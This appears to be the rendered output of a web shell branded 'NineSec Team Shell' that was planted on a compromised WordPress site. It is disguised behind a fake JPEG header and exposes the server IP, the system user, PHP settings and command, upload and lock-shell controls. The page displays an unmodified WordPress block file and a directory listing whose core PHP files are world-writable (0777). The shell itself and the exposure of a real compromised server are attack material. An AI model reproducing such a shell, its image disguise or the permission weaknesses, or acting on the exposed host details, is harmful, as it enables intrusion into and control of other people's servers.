�����JFIF��������(ICC_PROFILE���������mntrRGB XYZ ������������acsp�������������������������������������-��������������������������������������������������� desc�������trXYZ��d���gXYZ��x���bXYZ������rTRC������(gTRC������(bTRC������(wtpt������cprt������ NineSec Team Shell
NineSec Team Shell
Server IP : 51.38.211.120  /  Your IP : 216.73.216.188
Web Server : Apache
System : Linux bob 5.15.85-1-pve #1 SMP PVE 5.15.85-1 (2023-02-01T00:00Z) x86_64
User : readytorun ( 1067)
PHP Version : 8.0.30
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF
Directory (0755) :  /home/readytorun/domains/demo.readytorun.it/public_html/wp-includes/blocks/

[  Home  ][  C0mmand  ][  Upload File  ][  Lock Shell  ][  Logout  ]

Current File : /home/readytorun/domains/demo.readytorun.it/public_html/wp-includes/blocks/post-navigation-link.php
<?php
/**
 * Server-side rendering of the `core/post-navigation-link` block.
 *
 * @package WordPress
 */

/**
 * Renders the `core/post-navigation-link` block on the server.
 *
 * @param array  $attributes Block attributes.
 * @param string $content    Block default content.
 *
 * @return string Returns the next or previous post link that is adjacent to the current post.
 */
function render_block_core_post_navigation_link( $attributes, $content ) {
	if ( ! is_singular() ) {
		return '';
	}

	// Get the navigation type to show the proper link. Available options are `next|previous`.
	$navigation_type = isset( $attributes['type'] ) ? $attributes['type'] : 'next';
	// Allow only `next` and `previous` in `$navigation_type`.
	if ( ! in_array( $navigation_type, array( 'next', 'previous' ), true ) ) {
		return '';
	}
	$classes = "post-navigation-link-$navigation_type";
	if ( isset( $attributes['textAlign'] ) ) {
		$classes .= " has-text-align-{$attributes['textAlign']}";
	}
	$wrapper_attributes = get_block_wrapper_attributes(
		array(
			'class' => $classes,
		)
	);
	// Set default values.
	$format = '%link';
	$link   = 'next' === $navigation_type ? _x( 'Next', 'label for next post link' ) : _x( 'Previous', 'label for previous post link' );
	$label  = '';

	// Only use hardcoded values here, otherwise we need to add escaping where these values are used.
	$arrow_map = array(
		'none'    => '',
		'arrow'   => array(
			'next'     => '→',
			'previous' => '←',
		),
		'chevron' => array(
			'next'     => '»',
			'previous' => '«',
		),
	);

	// If a custom label is provided, make this a link.
	// `$label` is used to prepend the provided label, if we want to show the page title as well.
	if ( isset( $attributes['label'] ) && ! empty( $attributes['label'] ) ) {
		$label = "{$attributes['label']}";
		$link  = $label;
	}

	// If we want to also show the page title, make the page title a link and prepend the label.
	if ( isset( $attributes['showTitle'] ) && $attributes['showTitle'] ) {
		/*
		 * If the label link option is not enabled but there is a custom label,
		 * display the custom label as text before the linked title.
		 */
		if ( ! $attributes['linkLabel'] ) {
			if ( $label ) {
				$format = '<span class="post-navigation-link__label">' . wp_kses_post( $label ) . '</span> %link';
			}
			$link = '%title';
		} elseif ( isset( $attributes['linkLabel'] ) && $attributes['linkLabel'] ) {
			// If the label link option is enabled and there is a custom label, display it before the title.
			if ( $label ) {
				$link = '<span class="post-navigation-link__label">' . wp_kses_post( $label ) . '</span> <span class="post-navigation-link__title">%title</span>';
			} else {
				/*
				 * If the label link option is enabled and there is no custom label,
				 * add a colon between the label and the post title.
				 */
				$label = 'next' === $navigation_type ? _x( 'Next:', 'label before the title of the next post' ) : _x( 'Previous:', 'label before the title of the previous post' );
				$link  = sprintf(
					'<span class="post-navigation-link__label">%1$s</span> <span class="post-navigation-link__title">%2$s</span>',
					wp_kses_post( $label ),
					'%title'
				);
			}
		}
	}

	// Display arrows.
	if ( isset( $attributes['arrow'] ) && 'none' !== $attributes['arrow'] && isset( $arrow_map[ $attributes['arrow'] ] ) ) {
		$arrow = $arrow_map[ $attributes['arrow'] ][ $navigation_type ];

		if ( 'next' === $navigation_type ) {
			$format = '%link<span class="wp-block-post-navigation-link__arrow-next is-arrow-' . $attributes['arrow'] . '" aria-hidden="true">' . $arrow . '</span>';
		} else {
			$format = '<span class="wp-block-post-navigation-link__arrow-previous is-arrow-' . $attributes['arrow'] . '" aria-hidden="true">' . $arrow . '</span>%link';
		}
	}

	// The dynamic portion of the function name, `$navigation_type`,
	// refers to the type of adjacency, 'next' or 'previous'.
	$get_link_function = "get_{$navigation_type}_post_link";
	$content           = $get_link_function( $format, $link );
	return sprintf(
		'<div %1$s>%2$s</div>',
		$wrapper_attributes,
		$content
	);
}

/**
 * Registers the `core/post-navigation-link` block on the server.
 */
function register_block_core_post_navigation_link() {
	register_block_type_from_metadata(
		__DIR__ . '/post-navigation-link',
		array(
			'render_callback' => 'render_block_core_post_navigation_link',
		)
	);
}
add_action( 'init', 'register_block_core_post_navigation_link' );

NineSec Team - 2022
Name
Size
Last Modified
Owner
Permissions
Options
..
--
January 15 2025 5:40:42
readytorun
0755
archives
--
September 11 2024 5:18:57
readytorun
0755
audio
--
September 11 2024 5:18:57
readytorun
0755
avatar
--
September 11 2024 5:18:57
readytorun
0755
block
--
September 11 2024 5:18:57
readytorun
0755
button
--
September 11 2024 5:18:57
readytorun
0755
buttons
--
September 11 2024 5:18:57
readytorun
0755
calendar
--
September 11 2024 5:18:57
readytorun
0755
categories
--
September 11 2024 5:18:57
readytorun
0755
code
--
September 11 2024 5:18:57
readytorun
0755
column
--
September 11 2024 5:18:57
readytorun
0755
columns
--
September 11 2024 5:18:57
readytorun
0755
comment-author-name
--
September 11 2024 5:18:57
readytorun
0755
comment-content
--
September 11 2024 5:18:57
readytorun
0755
comment-date
--
September 11 2024 5:18:57
readytorun
0755
comment-edit-link
--
September 11 2024 5:18:57
readytorun
0755
comment-reply-link
--
September 11 2024 5:18:57
readytorun
0755
comment-template
--
September 11 2024 5:18:57
readytorun
0755
comments
--
September 11 2024 5:18:57
readytorun
0755
comments-pagination
--
September 11 2024 5:18:57
readytorun
0755
comments-pagination-next
--
September 11 2024 5:18:57
readytorun
0755
comments-pagination-numbers
--
September 11 2024 5:18:57
readytorun
0755
comments-pagination-previous
--
September 11 2024 5:18:57
readytorun
0755
comments-title
--
September 11 2024 5:18:57
readytorun
0755
cover
--
November 14 2025 9:26:20
readytorun
0755
details
--
September 11 2024 5:18:57
readytorun
0755
embed
--
September 11 2024 5:18:57
readytorun
0755
file
--
September 11 2024 5:18:57
readytorun
0755
footnotes
--
September 11 2024 5:18:57
readytorun
0755
freeform
--
October 25 2025 3:08:29
readytorun
0755
gallery
--
September 11 2024 5:18:57
readytorun
0755
group
--
September 11 2024 5:18:57
readytorun
0755
heading
--
September 11 2024 5:18:57
readytorun
0755
home-link
--
September 11 2024 5:18:57
readytorun
0755
html
--
September 11 2024 5:18:57
readytorun
0755
image
--
September 11 2024 5:18:57
readytorun
0755
latest-comments
--
September 11 2024 5:18:57
readytorun
0755
latest-posts
--
September 11 2024 5:18:57
readytorun
0755
legacy-widget
--
September 11 2024 5:18:57
readytorun
0755
list
--
September 11 2024 5:18:57
readytorun
0755
list-item
--
September 11 2024 5:18:57
readytorun
0755
loginout
--
September 11 2024 5:18:57
readytorun
0755
media-text
--
September 11 2024 5:18:57
readytorun
0755
missing
--
September 11 2024 5:18:57
readytorun
0755
more
--
September 11 2024 5:18:57
readytorun
0755
navigation
--
September 11 2024 5:18:57
readytorun
0755
navigation-link
--
September 11 2024 5:18:57
readytorun
0755
navigation-submenu
--
September 11 2024 5:18:57
readytorun
0755
nextpage
--
September 11 2024 5:18:57
readytorun
0755
page-list
--
September 11 2024 5:18:57
readytorun
0755
page-list-item
--
September 11 2024 5:18:57
readytorun
0755
paragraph
--
September 11 2024 5:19:31
readytorun
0755
pattern
--
September 11 2024 5:18:57
readytorun
0755
post-author
--
September 11 2024 5:18:57
readytorun
0755
post-author-biography
--
September 11 2024 5:18:57
readytorun
0755
post-author-name
--
September 11 2024 5:18:57
readytorun
0755
post-comments-form
--
November 01 2025 8:15:34
readytorun
0755
post-content
--
September 11 2024 5:18:57
readytorun
0755
post-date
--
September 11 2024 5:18:57
readytorun
0755
post-excerpt
--
September 11 2024 5:18:57
readytorun
0755
post-featured-image
--
September 11 2024 5:18:57
readytorun
0755
post-navigation-link
--
September 11 2024 5:18:57
readytorun
0755
post-template
--
September 11 2024 5:18:57
readytorun
0755
post-terms
--
September 11 2024 5:18:57
readytorun
0755
post-title
--
September 11 2024 5:18:57
readytorun
0755
preformatted
--
September 11 2024 5:18:57
readytorun
0755
pullquote
--
September 11 2024 5:18:57
readytorun
0755
query
--
September 11 2024 5:18:57
readytorun
0755
query-no-results
--
September 11 2024 5:18:57
readytorun
0755
query-pagination
--
September 11 2024 5:18:57
readytorun
0755
query-pagination-next
--
September 11 2024 5:18:57
readytorun
0755
query-pagination-numbers
--
September 11 2024 5:18:57
readytorun
0755
query-pagination-previous
--
October 25 2025 3:08:22
readytorun
0755
query-title
--
September 11 2024 5:18:57
readytorun
0755
quote
--
September 11 2024 5:18:57
readytorun
0755
read-more
--
September 11 2024 5:18:57
readytorun
0755
rss
--
September 11 2024 5:18:57
readytorun
0755
search
--
September 11 2024 5:18:57
readytorun
0755
separator
--
September 11 2024 5:18:57
readytorun
0755
shortcode
--
September 11 2024 5:18:57
readytorun
0755
site-logo
--
September 11 2024 5:18:57
readytorun
0755
site-tagline
--
September 11 2024 5:18:57
readytorun
0755
site-title
--
September 11 2024 5:18:57
readytorun
0755
social-link
--
September 11 2024 5:18:57
readytorun
0755
social-links
--
October 14 2024 9:05:58
readytorun
0755
spacer
--
September 11 2024 5:18:57
readytorun
0755
table
--
September 11 2024 5:18:57
readytorun
0755
tag-cloud
--
September 11 2024 5:18:57
readytorun
0755
template-part
--
September 11 2024 5:18:57
readytorun
0755
term-description
--
September 11 2024 5:18:57
readytorun
0755
text-columns
--
September 11 2024 5:18:57
readytorun
0755
verse
--
October 25 2025 3:08:27
readytorun
0755
video
--
September 11 2024 5:18:57
readytorun
0755
widget-group
--
September 11 2024 5:18:57
readytorun
0755
.htaccess
0.124 KB
November 14 2025 9:26:18
readytorun
0444
archives.php
2.458 KB
March 04 2024 2:19:00
readytorun
0777
avatar.php
5.503 KB
November 10 2023 1:05:53
readytorun
0777
block.php
1.566 KB
August 28 2023 5:03:53
readytorun
0777
blocks-json.php
159.815 KB
November 10 2023 1:05:53
readytorun
0777
calendar.php
5.986 KB
November 10 2023 1:05:53
readytorun
0777
categories.php
2.781 KB
August 28 2023 5:03:53
readytorun
0777
comment-author-name.php
2.046 KB
August 28 2023 5:03:52
readytorun
0777
comment-content.php
2.364 KB
August 28 2023 5:03:52
readytorun
0777
comment-date.php
1.559 KB
August 28 2023 5:03:53
readytorun
0777
comment-edit-link.php
1.636 KB
August 28 2023 5:03:53
readytorun
0777
comment-reply-link.php
1.989 KB
August 28 2023 5:03:53
readytorun
0777
comment-template.php
4.352 KB
November 10 2023 1:05:53
readytorun
0777
comments-pagination-next.php
1.811 KB
November 10 2023 1:05:53
readytorun
0777
comments-pagination-numbers.php
1.557 KB
August 28 2023 5:03:53
readytorun
0777
comments-pagination-previous.php
1.607 KB
November 10 2023 1:05:53
readytorun
0777
comments-pagination.php
1.134 KB
August 28 2023 5:03:53
readytorun
0777
comments-title.php
2.67 KB
August 28 2023 5:03:52
readytorun
0777
comments.php
6.469 KB
August 28 2023 5:03:52
readytorun
0777
cover.php
2.452 KB
August 28 2023 5:03:53
readytorun
0777
file.php
3.261 KB
November 10 2023 1:05:53
readytorun
0777
footnotes.php
3.031 KB
November 10 2023 1:05:53
readytorun
0777
gallery.php
4.836 KB
November 10 2023 1:05:53
readytorun
0777
heading.php
1.233 KB
August 28 2023 5:03:52
readytorun
0777
home-link.php
5.192 KB
November 10 2023 1:05:53
readytorun
0777
image.php
14.358 KB
November 10 2023 1:05:53
readytorun
0777
index.php
4.478 KB
November 10 2023 1:05:53
readytorun
0777
latest-comments.php
4.885 KB
August 28 2023 5:03:53
readytorun
0777
latest-posts.php
8.17 KB
November 10 2023 1:05:53
readytorun
0777
legacy-widget.php
3.811 KB
August 28 2023 5:03:52
readytorun
0777
loginout.php
1.348 KB
August 28 2023 5:03:52
readytorun
0777
navigation-link.php
11.649 KB
August 28 2023 5:03:54
readytorun
0777
navigation-submenu.php
8.814 KB
November 10 2023 1:05:53
readytorun
0777
navigation.php
37.307 KB
November 10 2023 1:05:53
readytorun
0777
page-list-item.php
0.334 KB
August 28 2023 5:03:52
readytorun
0777
page-list.php
13.137 KB
August 28 2023 5:03:53
readytorun
0777
pattern.php
1.404 KB
November 10 2023 1:05:53
readytorun
0777
post-author-biography.php
1.414 KB
August 28 2023 5:03:53
readytorun
0777
post-author-name.php
1.705 KB
August 28 2023 5:03:53
readytorun
0777
post-author.php
2.507 KB
August 28 2023 5:03:53
readytorun
0777
post-comments-form.php
2.684 KB
August 28 2023 5:03:52
readytorun
0777
post-content.php
2.068 KB
November 10 2023 1:05:53
readytorun
0777
post-date.php
2.289 KB
August 28 2023 5:03:52
readytorun
0777
post-excerpt.php
3.329 KB
November 10 2023 1:05:53
readytorun
0777
post-featured-image.php
7.374 KB
November 10 2023 1:05:53
readytorun
0777
post-navigation-link.php
4.378 KB
November 10 2023 1:05:53
readytorun
0777
post-template.php
5.521 KB
November 10 2023 1:05:53
readytorun
0777
post-terms.php
3.307 KB
November 10 2023 1:05:53
readytorun
0777
post-title.php
2.019 KB
August 28 2023 5:03:52
readytorun
0777
query-no-results.php
1.711 KB
November 10 2023 1:05:53
readytorun
0777
query-pagination-next.php
3.596 KB
November 10 2023 1:05:53
readytorun
0777
query-pagination-numbers.php
4.409 KB
November 10 2023 1:05:53
readytorun
0777
query-pagination-previous.php
3.052 KB
November 10 2023 1:05:53
readytorun
0777
query-pagination.php
1.111 KB
August 28 2023 5:03:52
readytorun
0777
query-title.php
2.012 KB
August 28 2023 5:03:53
readytorun
0777
query.php
7.163 KB
January 31 2024 5:29:18
readytorun
0777
read-more.php
1.75 KB
August 28 2023 5:03:51
readytorun
0777
require-dynamic-blocks.php
3.852 KB
August 28 2023 5:03:53
readytorun
0777
require-static-blocks.php
0.523 KB
August 28 2023 5:03:54
readytorun
0777
rss.php
3.834 KB
August 28 2023 5:03:51
readytorun
0777
search.php
23.936 KB
November 10 2023 1:05:53
readytorun
0777
shortcode.php
0.681 KB
August 28 2023 5:03:52
readytorun
0777
site-logo.php
5.794 KB
August 28 2023 5:03:52
readytorun
0777
site-tagline.php
0.971 KB
August 28 2023 5:03:51
readytorun
0777
site-title.php
1.729 KB
August 28 2023 5:03:52
readytorun
0777
social-link.php
60.442 KB
November 10 2023 1:05:53
readytorun
0777
tag-cloud.php
1.37 KB
August 28 2023 5:03:54
readytorun
0777
template-part.php
9.436 KB
November 10 2023 1:05:53
readytorun
0777
term-description.php
1.268 KB
August 28 2023 5:03:51
readytorun
0777
widget-group.php
2.115 KB
August 28 2023 5:03:53
readytorun
0777

NineSec Team - 2022